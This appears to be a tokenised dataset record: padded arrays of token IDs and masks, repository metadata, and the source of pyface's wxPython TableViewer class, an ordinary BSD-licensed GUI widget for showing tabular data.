32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
3,
1898,
334,
67,
9,
499,
15385,
2622,
7290,
199,
3,
1664,
1696,
1684,
844,
373,
19,
14,
16,
11,
334,
3239,
9685,
503,
4178,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
15,
11692,
13,
19,
14,
16,
14,
2424,
9,
199,
199,
504,
636,
2443,
363,
492,
3679,
63,
646,
12,
4629,
12,
870,
63,
1593,
199,
363,
6577,
363,
275,
730,
199,
199,
504,
3242,
14,
578,
63,
1208,
14,
2330,
14,
1273,
63,
1650,
492,
28405,
8640,
12,
19381,
2889,
421,
199,
318,
511,
63,
954,
63,
1650,
837,
272,
1680,
63,
1650,
275,
469,
267,
283,
929,
356,
5479,
267,
283,
751,
356,
469,
288,
283,
466,
356,
283,
807,
297,
288,
283,
1419,
356,
469,
355,
283,
2246,
356,
791,
889,
63,
793,
356,
715,
1386,
355,
283,
2019,
356,
5479,
355,
283,
474,
356,
791,
466,
356,
283,
442,
2267,
288,
789,
267,
789,
272,
789,
339,
2633,
275,
469,
267,
283,
929,
356,
283,
1881,
297,
267,
283,
751,
356,
469,
288,
283,
2246,
356,
283,
497,
89,
297,
288,
283,
2019,
356,
283,
51,
10562,
87,
14976,
297,
288,
283,
474,
356,
283,
1167,
297,
267,
789,
272,
789,
339,
1420,
275,
469,
267,
283,
929,
356,
283,
1881,
297,
267,
283,
751,
356,
469,
288,
283,
2246,
356,
283,
497,
89,
297,
288,
283,
2019,
356,
283,
51,
10562,
87,
14976,
297,
288,
283,
474,
356,
5851,
12,
267,
789,
272,
789,
339,
373,
275,
28405,
8640,
8,
1273,
63,
1650,
9,
272,
754,
275,
373,
14,
3502,
8,
3214,
9,
339,
702,
1228,
8,
1099,
12,
19381,
2889,
9,
272,
702,
754,
14,
24372,
63,
3214,
508,
1420,
272,
702,
754,
14,
705,
63,
3431,
508,
942,
421,
199,
318,
511,
63,
6376,
63,
954,
63,
1650,
837,
272,
1680,
63,
1650,
275,
469,
267,
283,
466,
356,
5479,
267,
283,
7007,
356,
469,
288,
283,
466,
356,
283,
807,
297,
288,
283,
1419,
356,
469,
355,
283,
1875,
356,
5479,
355,
283,
1238,
356,
5479,
355,
283,
4229,
12270,
356,
469,
490,
283,
466,
356,
283,
807,
297,
490,
283,
1419,
356,
469,
717,
283,
3908,
356,
5479,
717,
283,
1515,
2250,
356,
5479,
717,
283,
2326,
356,
5479,
717,
283,
988,
63,
14191,
356,
791,
466,
356,
283,
442,
2267,
490,
789,
355,
789,
288,
789,
267,
789,
272,
789,
339,
2633,
275,
469,
267,
283,
466,
356,
283,
500,
300,
554,
297,
267,
283,
7007,
356,
469,
288,
283,
1875,
356,
283,
1858,
68,
297,
288,
283,
1238,
356,
283,
8391,
13,
2167,
297,
288,
283,
4229,
12270,
356,
469,
355,
283,
3908,
356,
283,
23,
14,
16,
491,
297,
355,
283,
1515,
2250,
356,
283,
21,
13,
7625,
297,
355,
283,
2326,
356,
283,
1858,
68,
10030,
297,
355,
283,
988,
63,
14191,
356,
283,
32623,
297,
288,
789,
398,
789,
272,
789,
339,
1420,
275,
469,
267,
283,
466,
356,
283,
500,
300,
554,
297,
267,
283,
7007,
356,
469,
288,
283,
1875,
356,
283,
1858,
68,
297,
288,
283,
1238,
356,
283,
8391,
13,
2167,
297,
288,
283,
4229,
12270,
356,
469,
355,
283,
3908,
356,
283,
23,
14,
16,
491,
297,
355,
283,
1515,
2250,
356,
283,
21,
13,
7625,
297,
355,
283,
2326,
356,
283,
1858,
68,
10030,
297,
355,
283,
988,
63,
14191,
356,
1227,
1493,
12,
288,
789,
398,
789,
272,
789,
339,
373,
275,
28405,
8640,
8,
1273,
63,
1650,
9,
272,
754,
275,
373,
14,
3502,
8,
3214,
9,
339,
702,
1228,
8,
1099,
12,
19381,
2889,
9,
272,
702,
754,
14,
24372,
63,
3214,
508,
1420,
272,
702,
754,
14,
705,
63,
3431,
508,
942,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
brett-patterson/pyface
|
pyface/viewer/table_viewer.py
|
2
|
12210
|
#------------------------------------------------------------------------------
# Copyright (c) 2005, Enthought, Inc.
# All rights reserved.
#
# This software is provided without warranty under the terms of the BSD
# license included in enthought/LICENSE.txt and may be redistributed only
# under the conditions described in the aforementioned license. The license
# is also available online at http://www.enthought.com/licenses/BSD.txt
# Thanks for using Enthought open source!
#
# Author: Enthought, Inc.
# Description: <Enthought pyface package component>
#------------------------------------------------------------------------------
""" A viewer for tabular data. """
# Major package imports.
import wx
# Enthought library imports.
from pyface.image_list import ImageList
from traits.api import Color, Event, Instance, Trait
# Local imports.
from content_viewer import ContentViewer
from table_column_provider import TableColumnProvider
from table_content_provider import TableContentProvider
from table_label_provider import TableLabelProvider
class TableViewer(ContentViewer):
""" A viewer for tabular data. """
# The content provider provides the actual table data.
content_provider = Instance(TableContentProvider)
# The label provider provides, err, the labels for the items in the table
# (a label can have text and/or an image).
label_provider = Instance(TableLabelProvider, factory = TableLabelProvider)
# The column provider provides information about the columns in the table
# (column headers, width etc).
column_provider=Trait(TableColumnProvider(),Instance(TableColumnProvider))
# The colours used to render odd and even numbered rows.
even_row_background = Color("white")
odd_row_background = Color((245, 245, 255))
# A row has been selected.
row_selected = Event
# A row has been activated.
row_activated = Event
# A drag operation was started on a node.
row_begin_drag = Event
def __init__(self, parent, image_size=(16, 16), **traits):
""" Creates a new table viewer.
'parent' is the toolkit-specific control that is the table's parent.
'image_size' is a tuple in the form (int width, int height) that
specifies the size of the images (if any) displayed in the table.
"""
# Base-class constructor.
super(TableViewer, self).__init__(**traits)
# Create the toolkit-specific control.
self.control = table = _Table(parent, image_size, self)
# Get our actual id.
wxid = table.GetId()
# Table events.
wx.EVT_LIST_ITEM_SELECTED(table, wxid, self._on_item_selected)
wx.EVT_LIST_ITEM_ACTIVATED(table, wxid, self._on_item_activated)
wx.EVT_LIST_BEGIN_DRAG(table, wxid, self._on_list_begin_drag)
wx.EVT_LIST_BEGIN_RDRAG(table, wxid, self._on_list_begin_rdrag)
wx.EVT_LIST_BEGIN_LABEL_EDIT(
table, wxid, self._on_list_begin_label_edit
)
wx.EVT_LIST_END_LABEL_EDIT(
table, wxid, self._on_list_end_label_edit
)
# fixme: Bug[732104] indicates that this event does not get fired
# in a virtual list control (it *does* get fired in a regular list
# control 8^().
wx.EVT_LIST_ITEM_DESELECTED(table, wxid, self._on_item_deselected)
# Create the widget!
self._create_widget(parent)
# We use a dynamic handler instead of a static handler here, as we
# don't want to react if the input is set in the constructor.
self.on_trait_change(self._on_input_changed, 'input')
return
###########################################################################
# 'TableViewer' interface.
###########################################################################
def select_row(self, row):
""" Select the specified row. """
self.control.SetItemState(
row, wx.LIST_STATE_SELECTED, wx.LIST_STATE_SELECTED
)
self.control.SetItemState(
row, wx.LIST_STATE_FOCUSED, wx.LIST_STATE_FOCUSED
)
# Make sure that the selected row is visible.
fudge = max(0, row - 5)
self.EnsureVisible(fudge)
# Trait event notification.
self.row_selected = row
return
###########################################################################
# Trait event handlers.
###########################################################################
def _on_input_changed(self, obj, trait_name, old, new):
""" Called when the input is changed. """
# Update the table contents.
self._update_contents()
if old is None:
self._update_column_widths()
return
###########################################################################
# wx event handlers.
###########################################################################
def _on_item_selected(self, event):
""" Called when an item in the list is selected. """
# Get the index of the row that was selected (nice wx interface huh?!).
row = event.m_itemIndex
# Trait event notification.
self.row_selected = row
return
# fixme: Bug[732104] indicates that this event does not get fired in a
# virtual list control (it *does* get fired in a regular list control 8^().
def _on_item_deselected(self, event):
""" Called when an item in the list is selected. """
# Trait event notification.
self.row_selected = -1
return
def _on_item_activated(self, event):
""" Called when an item in the list is activated. """
# Get the index of the row that was activated (nice wx interface!).
row = event.m_itemIndex
# Trait event notification.
self.row_activated = row
return
def _on_list_begin_drag(self, event=None, is_rdrag=False):
""" Called when a drag operation is starting on a list item. """
# Trait notification.
self.row_begin_drag = event.GetIndex()
return
def _on_list_begin_rdrag(self, event=None):
""" Called when a drag operation is starting on a list item. """
self._on_list_begin_drag(event, True)
return
def _on_list_begin_label_edit(self, event=None):
""" Called when a label edit is started. """
event.Veto()
return
def _on_list_end_label_edit(self, event=None):
""" Called when a label edit is completed. """
return
###########################################################################
# Private interface.
###########################################################################
FORMAT_MAP = {
'left' : wx.LIST_FORMAT_LEFT,
'right' : wx.LIST_FORMAT_RIGHT,
'center' : wx.LIST_FORMAT_CENTRE,
'centre' : wx.LIST_FORMAT_CENTRE
}
def _create_widget(self, parent):
""" Creates the widget. """
# Set up a default list item descriptor.
info = wx.ListItem()
info.m_mask = wx.LIST_MASK_TEXT | wx.LIST_MASK_FORMAT
# Set the column headers.
for index in range(self.column_provider.column_count):
# Header text.
info.m_text = self.column_provider.get_label(self, index)
# Alignment of header text AND ALL cells in the column.
alignment = self.column_provider.get_alignment(self, index)
info.m_format = self.FORMAT_MAP.get(alignment, wx.LIST_FORMAT_LEFT)
self.control.InsertColumnInfo(index, info)
# Update the table contents and the column widths.
self._update_contents()
self._update_column_widths()
return
def _update_contents(self):
""" Updates the table content. """
self._elements = []
if self.input is not None:
# Filtering...
for element in self.content_provider.get_elements(self.input):
for filter in self.filters:
if not filter.select(self, self.input, element):
break
else:
self._elements.append(element)
# Sorting...
if self.sorter is not None:
self.sorter.sort(self, self.input, self._elements)
# Setting this causes a refresh!
self.control.SetItemCount(len(self._elements))
return
def _update_column_widths(self):
""" Updates the column widths. """
# Set all columns to be the size of their largest item, or the size of
# their header whichever is the larger.
for column in range(self.control.GetColumnCount()):
width = self.column_provider.get_width(self, column)
if width == -1:
width = self._get_column_width(column)
self.control.SetColumnWidth(column, width)
return
def _get_column_width(self, column):
""" Return an appropriate width for the specified column. """
self.control.SetColumnWidth(column, wx.LIST_AUTOSIZE_USEHEADER)
header_width = self.control.GetColumnWidth(column)
if self.control.GetItemCount() == 0:
width = header_width
else:
self.control.SetColumnWidth(column, wx.LIST_AUTOSIZE)
data_width = self.control.GetColumnWidth(column)
width = max(header_width, data_width)
return width
class _Table(wx.ListCtrl):
""" The wx control that we use to implement the table viewer. """
# Default style.
STYLE = wx.LC_REPORT | wx.LC_HRULES | wx.LC_VRULES | wx.STATIC_BORDER \
| wx.LC_SINGLE_SEL | wx.LC_VIRTUAL | wx.LC_EDIT_LABELS \
| wx.CLIP_CHILDREN
def __init__(self, parent, image_size, viewer):
""" Creates a new table viewer.
'parent' is the toolkit-specific control that is the table's parent.
'image_size' is a tuple in the form (int width, int height) that
specifies the size of the icons (if any) displayed in the table.
"""
# The vierer that we are providing the control for.
self._viewer = viewer
# Base-class constructor.
wx.ListCtrl.__init__(self, parent, -1, style=self.STYLE)
# Table item images.
self._image_list = ImageList(image_size[0], image_size[1])
self.AssignImageList(self._image_list, wx.IMAGE_LIST_SMALL)
# Set up attributes to show alternate rows with a different background
# colour.
self._even_row_attribute = wx.ListItemAttr()
self._even_row_attribute.SetBackgroundColour(
self._viewer.even_row_background
)
self._odd_row_attribute = wx.ListItemAttr()
self._odd_row_attribute.SetBackgroundColour(
self._viewer.odd_row_background
)
return
###########################################################################
# Virtual 'ListCtrl' interface.
###########################################################################
def OnGetItemText(self, row, column_index):
""" Returns the text for the specified CELL. """
viewer = self._viewer
element = viewer._elements[row]
return viewer.label_provider.get_text(viewer, element, column_index)
def OnGetItemImage(self, row):
""" Returns the image for the specified ROW. """
viewer = self._viewer
element = viewer._elements[row]
# Get the icon used to represent the node.
image = viewer.label_provider.get_image(viewer, element)
if image is not None:
image_index = self._image_list.GetIndex(image.absolute_path)
else:
image_index = -1
return image_index
def OnGetItemAttr(self, row):
""" Returns the attribute for the specified row. """
if row % 2 == 0:
attribute = self._even_row_attribute
else:
attribute = self._odd_row_attribute
return attribute
#### EOF ######################################################################
|
bsd-3-clause
|
[
20974,
199,
3,
1898,
334,
67,
9,
11811,
12,
3447,
273,
20816,
12,
3277,
14,
199,
3,
2900,
4481,
4644,
14,
199,
3,
199,
3,
961,
2032,
365,
2741,
1928,
3750,
1334,
314,
2895,
402,
314,
6289,
199,
3,
4190,
5120,
315,
655,
273,
20816,
15,
3961,
14,
2424,
436,
1443,
506,
295,
16832,
1454,
199,
3,
1334,
314,
3704,
11736,
315,
314,
282,
1707,
32016,
379,
4190,
14,
221,
710,
4190,
199,
3,
365,
2597,
2808,
18470,
737,
1455,
921,
1544,
14,
287,
273,
20816,
14,
957,
15,
2383,
15,
15400,
14,
2424,
199,
3,
3868,
25088,
367,
1808,
3447,
273,
20816,
1551,
1350,
1,
199,
3,
199,
3,
6529,
26,
3447,
273,
20816,
12,
3277,
14,
199,
3,
11994,
26,
665,
1327,
273,
20816,
1134,
1409,
2559,
3931,
30,
199,
20974,
199,
624,
437,
27354,
367,
5174,
2238,
666,
14,
408,
421,
199,
3,
16593,
5857,
2559,
8925,
14,
199,
646,
4818,
199,
199,
3,
3447,
273,
20816,
3555,
8925,
14,
199,
504,
1134,
1409,
14,
1569,
63,
513,
492,
6047,
1296,
199,
504,
19692,
14,
1246,
492,
11581,
12,
6763,
12,
10066,
12,
12643,
390,
199,
199,
3,
10111,
8925,
14,
199,
504,
1564,
63,
16645,
492,
6646,
22347,
199,
504,
1817,
63,
2301,
63,
3780,
492,
6957,
4547,
6663,
199,
504,
1817,
63,
1317,
63,
3780,
492,
6957,
2714,
6663,
199,
504,
1817,
63,
1302,
63,
3780,
492,
6957,
4314,
6663,
421,
199,
533,
6957,
22347,
8,
2714,
22347,
304,
272,
408,
437,
27354,
367,
5174,
2238,
666,
14,
408,
2378,
327,
710,
1564,
5022,
6571,
314,
3503,
1817,
666,
14,
272,
1564,
63,
3780,
275,
10066,
8,
3186,
2714,
6663,
9,
339,
327,
710,
1768,
5022,
6571,
12,
2329,
12,
314,
3628,
367,
314,
2974,
315,
314,
1817,
272,
327,
334,
65,
1768,
883,
1172,
1318,
436,
15,
269,
376,
1834,
680,
272,
1768,
63,
3780,
275,
10066,
8,
3186,
4314,
6663,
12,
6434,
275,
6957,
4314,
6663,
9,
339,
327,
710,
2763,
5022,
6571,
2556,
3595,
314,
4362,
315,
314,
1817,
272,
327,
334,
2301,
2323,
12,
3462,
5423,
680,
272,
2763,
63,
3780,
29,
27655,
8,
3186,
4547,
6663,
1062,
3244,
8,
3186,
4547,
6663,
430,
339,
327,
710,
15706,
83,
1202,
370,
3795,
16699,
436,
2755,
1967,
18897,
4730,
14,
272,
2755,
63,
1143,
63,
7451,
275,
11581,
480,
7510,
531,
272,
16699,
63,
1143,
63,
7451,
221,
275,
11581,
1332,
11677,
12,
32102,
12,
5450,
430,
339,
327,
437,
1962,
965,
2757,
4895,
14,
272,
1962,
63,
5511,
275,
6763,
339,
327,
437,
1962,
965,
2757,
22225,
14,
272,
1962,
63,
18218,
275,
6763,
339,
327,
437,
18981,
3439,
1990,
8239,
641,
282,
1031,
14,
272,
1962,
63,
5037,
63,
14479,
275,
6763,
2378,
347,
636,
826,
721,
277,
12,
1676,
12,
1834,
63,
890,
2687,
975,
12,
3193,
395,
1011,
17668,
304,
267,
408,
10560,
282,
892,
1817,
27354,
14,
398,
283,
1708,
7,
365,
314,
4744,
6065,
13,
6100,
3304,
626,
365,
314,
1817,
1159,
1676,
14,
398,
283,
1569,
63,
890,
7,
365,
282,
2008,
315,
314,
1824,
334,
442,
3462,
12,
1109,
4569,
9,
626,
267,
9314,
314,
1568,
402,
314,
5935,
334,
692,
1263,
9,
9080,
315,
314,
1817,
14,
398,
408,
398,
327,
3523,
13,
533,
3787,
14,
267,
1613,
8,
3186,
22347,
12,
291,
2843,
826,
14155,
17668,
9,
398,
327,
2790,
314,
4744,
6065,
13,
6100,
3304,
14,
267,
291,
14,
2785,
275,
1817,
275,
485,
3186,
8,
1708,
12,
1834,
63,
890,
12,
291,
9,
398,
327,
2372,
4154,
3503,
1305,
14,
267,
4818,
344,
275,
1817,
14,
30361,
342,
398,
327,
6957,
4474,
14,
267,
4818,
14,
12093,
63,
4924,
63,
10439,
63,
32525,
8,
1224,
12,
4818,
344,
12,
291,
423,
265,
63,
1053,
63,
5511,
9,
267,
4818,
14,
12093,
63,
4924,
63,
10439,
63,
20425,
6989,
8,
1224,
12,
4818,
344,
12,
291,
423,
265,
63,
1053,
63,
18218,
9,
267,
4818,
14,
12093,
63,
4924,
63,
15947,
63,
4564,
1254,
8,
1224,
12,
4818,
344,
12,
291,
423,
265,
63,
513,
63,
5037,
63,
14479,
9,
267,
4818,
14,
12093,
63,
4924,
63,
15947,
63,
50,
4564,
1254,
8,
1224,
12,
4818,
344,
12,
291,
423,
265,
63,
513,
63,
5037,
63,
6883,
2527,
9,
398,
4818,
14,
12093,
63,
4924,
63,
15947,
63,
13837,
63,
17929,
8,
288,
1817,
12,
4818,
344,
12,
291,
423,
265,
63,
513,
63,
5037,
63,
1302,
63,
3773,
267,
776,
398,
4818,
14,
12093,
63,
4924,
63,
3902,
63,
13837,
63,
17929,
8,
288,
1817,
12,
4818,
344,
12,
291,
423,
265,
63,
513,
63,
500,
63,
1302,
63,
3773,
267,
776,
398,
327,
5325,
278,
26,
21605,
59,
30558,
6785,
61,
9126,
626,
642,
1566,
1630,
440,
664,
31974,
267,
327,
315,
282,
5791,
769,
3304,
334,
390,
627,
9105,
10,
664,
31974,
315,
282,
5578,
769,
267,
327,
3304,
1695,
62,
1252,
267,
4818,
14,
12093,
63,
4924,
63,
10439,
63,
4448,
37,
3923,
1149,
8,
1224,
12,
4818,
344,
12,
291,
423,
265,
63,
1053,
63,
271,
5511,
9,
398,
327,
2790,
314,
3938,
1,
267,
291,
423,
981,
63,
3440,
8,
1708,
9,
398,
327,
2136,
675,
282,
8336,
3016,
3140,
402,
282,
2955,
3016,
2348,
12,
465,
781,
267,
327,
2793,
1133,
2934,
370,
295,
2442,
340,
314,
1324,
365,
663,
315,
314,
3787,
14,
267,
291,
14,
265,
63,
22687,
63,
1461,
8,
277,
423,
265,
63,
1210,
63,
2489,
12,
283,
1210,
358,
398,
372,
339,
23441,
5680,
272,
327,
283,
3186,
22347,
7,
3217,
14,
272,
23441,
5680,
339,
347,
3504,
63,
1143,
8,
277,
12,
1962,
304,
267,
408,
9496,
314,
2013,
1962,
14,
408,
398,
291,
14,
2785,
14,
1084,
2081,
2223,
8,
288,
1962,
12,
4818,
14,
4924,
63,
6689,
63,
32525,
12,
4818,
14,
4924,
63,
6689,
63,
32525,
267,
776,
398,
291,
14,
2785,
14,
1084,
2081,
2223,
8,
288,
1962,
12,
4818,
14,
4924,
63,
6689,
63,
3230,
35,
8558,
12,
4818,
14,
4924,
63,
6689,
63,
3230,
35,
8558,
267,
776,
398,
327,
4155,
3238,
626,
314,
4895,
1962,
365,
8917,
14,
267,
289,
16603,
275,
1390,
8,
16
] |
[
199,
3,
1898,
334,
67,
9,
11811,
12,
3447,
273,
20816,
12,
3277,
14,
199,
3,
2900,
4481,
4644,
14,
199,
3,
199,
3,
961,
2032,
365,
2741,
1928,
3750,
1334,
314,
2895,
402,
314,
6289,
199,
3,
4190,
5120,
315,
655,
273,
20816,
15,
3961,
14,
2424,
436,
1443,
506,
295,
16832,
1454,
199,
3,
1334,
314,
3704,
11736,
315,
314,
282,
1707,
32016,
379,
4190,
14,
221,
710,
4190,
199,
3,
365,
2597,
2808,
18470,
737,
1455,
921,
1544,
14,
287,
273,
20816,
14,
957,
15,
2383,
15,
15400,
14,
2424,
199,
3,
3868,
25088,
367,
1808,
3447,
273,
20816,
1551,
1350,
1,
199,
3,
199,
3,
6529,
26,
3447,
273,
20816,
12,
3277,
14,
199,
3,
11994,
26,
665,
1327,
273,
20816,
1134,
1409,
2559,
3931,
30,
199,
20974,
199,
624,
437,
27354,
367,
5174,
2238,
666,
14,
408,
421,
199,
3,
16593,
5857,
2559,
8925,
14,
199,
646,
4818,
199,
199,
3,
3447,
273,
20816,
3555,
8925,
14,
199,
504,
1134,
1409,
14,
1569,
63,
513,
492,
6047,
1296,
199,
504,
19692,
14,
1246,
492,
11581,
12,
6763,
12,
10066,
12,
12643,
390,
199,
199,
3,
10111,
8925,
14,
199,
504,
1564,
63,
16645,
492,
6646,
22347,
199,
504,
1817,
63,
2301,
63,
3780,
492,
6957,
4547,
6663,
199,
504,
1817,
63,
1317,
63,
3780,
492,
6957,
2714,
6663,
199,
504,
1817,
63,
1302,
63,
3780,
492,
6957,
4314,
6663,
421,
199,
533,
6957,
22347,
8,
2714,
22347,
304,
272,
408,
437,
27354,
367,
5174,
2238,
666,
14,
408,
2378,
327,
710,
1564,
5022,
6571,
314,
3503,
1817,
666,
14,
272,
1564,
63,
3780,
275,
10066,
8,
3186,
2714,
6663,
9,
339,
327,
710,
1768,
5022,
6571,
12,
2329,
12,
314,
3628,
367,
314,
2974,
315,
314,
1817,
272,
327,
334,
65,
1768,
883,
1172,
1318,
436,
15,
269,
376,
1834,
680,
272,
1768,
63,
3780,
275,
10066,
8,
3186,
4314,
6663,
12,
6434,
275,
6957,
4314,
6663,
9,
339,
327,
710,
2763,
5022,
6571,
2556,
3595,
314,
4362,
315,
314,
1817,
272,
327,
334,
2301,
2323,
12,
3462,
5423,
680,
272,
2763,
63,
3780,
29,
27655,
8,
3186,
4547,
6663,
1062,
3244,
8,
3186,
4547,
6663,
430,
339,
327,
710,
15706,
83,
1202,
370,
3795,
16699,
436,
2755,
1967,
18897,
4730,
14,
272,
2755,
63,
1143,
63,
7451,
275,
11581,
480,
7510,
531,
272,
16699,
63,
1143,
63,
7451,
221,
275,
11581,
1332,
11677,
12,
32102,
12,
5450,
430,
339,
327,
437,
1962,
965,
2757,
4895,
14,
272,
1962,
63,
5511,
275,
6763,
339,
327,
437,
1962,
965,
2757,
22225,
14,
272,
1962,
63,
18218,
275,
6763,
339,
327,
437,
18981,
3439,
1990,
8239,
641,
282,
1031,
14,
272,
1962,
63,
5037,
63,
14479,
275,
6763,
2378,
347,
636,
826,
721,
277,
12,
1676,
12,
1834,
63,
890,
2687,
975,
12,
3193,
395,
1011,
17668,
304,
267,
408,
10560,
282,
892,
1817,
27354,
14,
398,
283,
1708,
7,
365,
314,
4744,
6065,
13,
6100,
3304,
626,
365,
314,
1817,
1159,
1676,
14,
398,
283,
1569,
63,
890,
7,
365,
282,
2008,
315,
314,
1824,
334,
442,
3462,
12,
1109,
4569,
9,
626,
267,
9314,
314,
1568,
402,
314,
5935,
334,
692,
1263,
9,
9080,
315,
314,
1817,
14,
398,
408,
398,
327,
3523,
13,
533,
3787,
14,
267,
1613,
8,
3186,
22347,
12,
291,
2843,
826,
14155,
17668,
9,
398,
327,
2790,
314,
4744,
6065,
13,
6100,
3304,
14,
267,
291,
14,
2785,
275,
1817,
275,
485,
3186,
8,
1708,
12,
1834,
63,
890,
12,
291,
9,
398,
327,
2372,
4154,
3503,
1305,
14,
267,
4818,
344,
275,
1817,
14,
30361,
342,
398,
327,
6957,
4474,
14,
267,
4818,
14,
12093,
63,
4924,
63,
10439,
63,
32525,
8,
1224,
12,
4818,
344,
12,
291,
423,
265,
63,
1053,
63,
5511,
9,
267,
4818,
14,
12093,
63,
4924,
63,
10439,
63,
20425,
6989,
8,
1224,
12,
4818,
344,
12,
291,
423,
265,
63,
1053,
63,
18218,
9,
267,
4818,
14,
12093,
63,
4924,
63,
